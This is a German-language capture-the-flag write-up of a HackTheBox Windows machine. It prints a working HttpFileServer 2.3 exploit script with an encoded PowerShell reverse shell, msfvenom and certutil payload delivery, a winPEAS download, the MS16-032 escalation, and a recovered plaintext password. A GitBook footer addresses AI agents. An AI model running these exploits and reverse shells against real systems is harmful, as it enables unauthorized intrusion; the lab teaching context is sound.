> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md).

# Optium HackTheBox-Lösungsbericht

{% embed url="<https://app.hackthebox.com/machines/6>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* HttpFileServer 2.3 Ausnutzung (RCE)
* Systemaufzählung - Windows Exploit Suggester
* Windows Server 12 (MS16-032) (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/4a77636ca18d1c60ef3d337dd3847e2ccdfc73ca" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/34af833924208566d0363f074b03ca10704b5082" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 10.10.10.8 -oG allPorts
```

<figure><img src="/files/62ac2d39d62084171e7433a7a38b3bd66529ffa1" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Mit der Funktion extractPorts die offenen Ports in einem kompakten Format anzeigen und in die Zwischenablage kopieren (80)

<figure><img src="/files/5a611ef3c266f5691926b662cc03b4bb9d32f570" alt="" width="563"><figcaption></figcaption></figure>

Port- und Versionsscan mit Nmap:

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80 10.10.10.8 -oN targeted
```

<figure><img src="/files/7fd008bc9297803e6c7f21af11e9199b3d3d7c1d" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` Datei ein:

<figure><img src="/files/68b96c68e127dfe7173fe1172993ce4717dbabe7" alt="" width="563"><figcaption></figcaption></figure>

## **Ausnutzung**

### **Port 80 : HttpFileServer 2.3**

Ein Webserver HttpFileServer 2.3 wurde entdeckt. Nach der Recherche ist diese Version anfällig für Remote-Code-Ausführung (NCE).

<figure><img src="/files/5b1ca4ce2f676fbbffdded7d6fa5d9e1492fed83" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/125abc022b9c3458bdc0732b6adb66ca3dcc4227" alt="" width="503"><figcaption></figcaption></figure>

### **Exploit-Recherche**

Befehl:

```bash
searchsploit -m windows/remote/49584.py
```

{% embed url="<https://www.exploit-db.com/exploits/39161>" %}

**Python-Skript angepasst**

<figure><img src="/files/dcc8c2e5a994b32f54b24bd58fc3fb7418b071fa" alt=""><figcaption></figcaption></figure>

**Python-Skript angepasst**

Das Skript muss geändert werden, um die folgenden Parameter einzuschließen:

* `LHOST` : Ihre lokale IP (VPN).
* `LPORT`: lokaler Listening-Port (z. B. 4444).
* `RHOST`: Ziel-IP.
* `RPORT`: Port des verwundbaren Dienstes (z. B. 80).

```python
import base64
import os
import urllib.request
import urllib.parse

lhost = "10.10.14.12"
lport = 4444
rhost = "10.10.10.8"
rport = 80

# Definieren Sie den Befehl, der in eine Datei geschrieben werden soll
command = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'

# Kodieren Sie den Befehl im Base64-Format
encoded_command = base64.b64encode(command.encode("utf-16le")).decode()
print("/nBefehl im Base64-Format kodiert...")

# Definieren Sie die Nutzlast, die in die URL aufgenommen werden soll
payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {encoded_command}'

# Kodieren Sie die Nutzlast und senden Sie eine HTTP-GET-Anfrage
encoded_payload = urllib.parse.quote_plus(payload)
url = f'http://{rhost}:{rport}/?search=%00{{.{encoded_payload}.}}'
urllib.request.urlopen(url)
print("/nNutzlast kodiert und eine HTTP-GET-Anfrage an das Ziel gesendet...")

# Geben Sie einige Informationen aus
print("/nEinige Informationen zum Debuggen werden ausgegeben...")
print("lhost: ", lhost)
print("lport: ", lport)
print("rhost: ", rhost)
print("rport: ", rport)
print("payload: ", payload)

# Auf Verbindungen warten
print("/nAuf Verbindungen warten...")
os.system(f'nc -nlvp {lport}')
```

Auf deinem Rechner lauschen:

```bash
rlwrap nc -nlvp 4444
```

<figure><img src="/files/b36e3822686689a0c4cf70b2ad83bd638ab6f873" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="/files/3d809e4ec32e6523906a065907128617b55ce8c7" alt="" width="563"><figcaption></figcaption></figure>

## **Privilegieneskalation**

### **winPEAS-Aufzählung** <a href="#winpeas-enumeration" id="winpeas-enumeration"></a>

Wir haben das winPEAS-Tool gestartet, um über winrm eine Aufklärung auf dem Zielrechner durchzuführen. Ziel ist es, sensible Informationen zu entdecken und potenzielle Schwachstellen zu identifizieren.

{% embed url="<https://github.com/carlospolop/PEASS-ng/releases/tag/20220717>" %}

**winPEAS herunterladen und ausführen**

```
Invoke-WebRequest -Uri "http://10.10.14.12/winPEASx64.exe" -OutFile "winPEAS.exe"
./winPEAS.exe
```

<figure><img src="/files/e6e79067a6e4b0954d2e8e7bdbcf59035c586493" alt=""><figcaption></figcaption></figure>

Dies ermöglichte uns, kritische Informationen zu entdecken, wie Passwörter und Details zur Version des Betriebssystems.

<figure><img src="/files/f5bf30e428b6c7708df32360480f78f2b953a623" alt=""><figcaption></figcaption></figure>

**Gefundene Passwortwörter**

`kostas:kdeEjDowkS*`

Außerdem offenbarte das Tool, dass die Maschine Windows Server 2012 R2 Standard ausführt, eine verwundbare Version mit einem zugehörigen Exploit zur Privilegieneskalation über den Kernel.

<figure><img src="/files/8f0459a6b69d8e4d71a00814177b60c9be21826a" alt=""><figcaption></figcaption></figure>

### Kernel-Ausnutzung:

Wir suchten nach spezifischen Exploits für Windows Server 2012 R2 zur lokalen Privilegieneskalation. Der **MS16-032** Exploit erwies sich für diese Windows-Version als relevant.

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits>" %}

* **MS16-032** für Windows 2012 R2 (lokale Privilegieneskalation).

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032>" %}

### **Reverse Shell über Metasploit**

Wir haben dann eine a.exe-Datei erstellt, um eine Reverse Shell von Metasploit herzustellen. Dabei wurden die folgenden Schritte durchgeführt:

Auf Metasploit lauschen:

```bash
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.12
set LPORT 4444
exploit -j
```

Payload erstellen `shell.exe` mit folgendem Befehl:

<pre class="language-bash"><code class="lang-bash"><strong>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.12 LPORT=4444 -f exe -o shell.exe
</strong></code></pre>

Payload mit einem Python-HTTP-Server übertragen und `certutil`:

```bash
python3 -m http.server
```

```powershell
certutil.exe -f -urlcache -split http://10.10.14.12:8000/shell.exe
```

Sobald die Datei übertragen war, gelang es uns, eine Meterpreter-Sitzung herzustellen (Sitzung 1).

<figure><img src="/files/76be3bf2066d3b5d8a29a7874ccfad48fa465e70" alt=""><figcaption></figcaption></figure>

### **Ausnutzung der Schwachstelle MS16-032**

Nach dem Erhalt des Zugriffs auf die Maschine suchten wir nach dem verwundbaren Exploit in Metasploit:

`exploit/windows/local/ms16_032_secondary_logon_handle_privesc`

<figure><img src="/files/34fd4aa6ae5604c194f359513f11c8a2f438649f" alt="" width="563"><figcaption></figcaption></figure>

Wir setzten Sessions, setzten `LHOST` und `LPORT`, und wählten das Windows-x64-Ziel aus, um Konflikte zu vermeiden. Nachdem der Exploit abgeschlossen war, erhielten wir vollständigen Zugriff auf das Zielsystem.

<figure><img src="/files/d6ca091ca27ad90da7548221b2197754a1e18ed9" alt=""><figcaption></figcaption></figure>

### Root-Flag :)

<figure><img src="/files/6140cd251a02659836648d11fe2cf57457b626b2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/cfe996aade395aecef1de0028abcde2275effd8b" alt="" width="523"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/optium-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
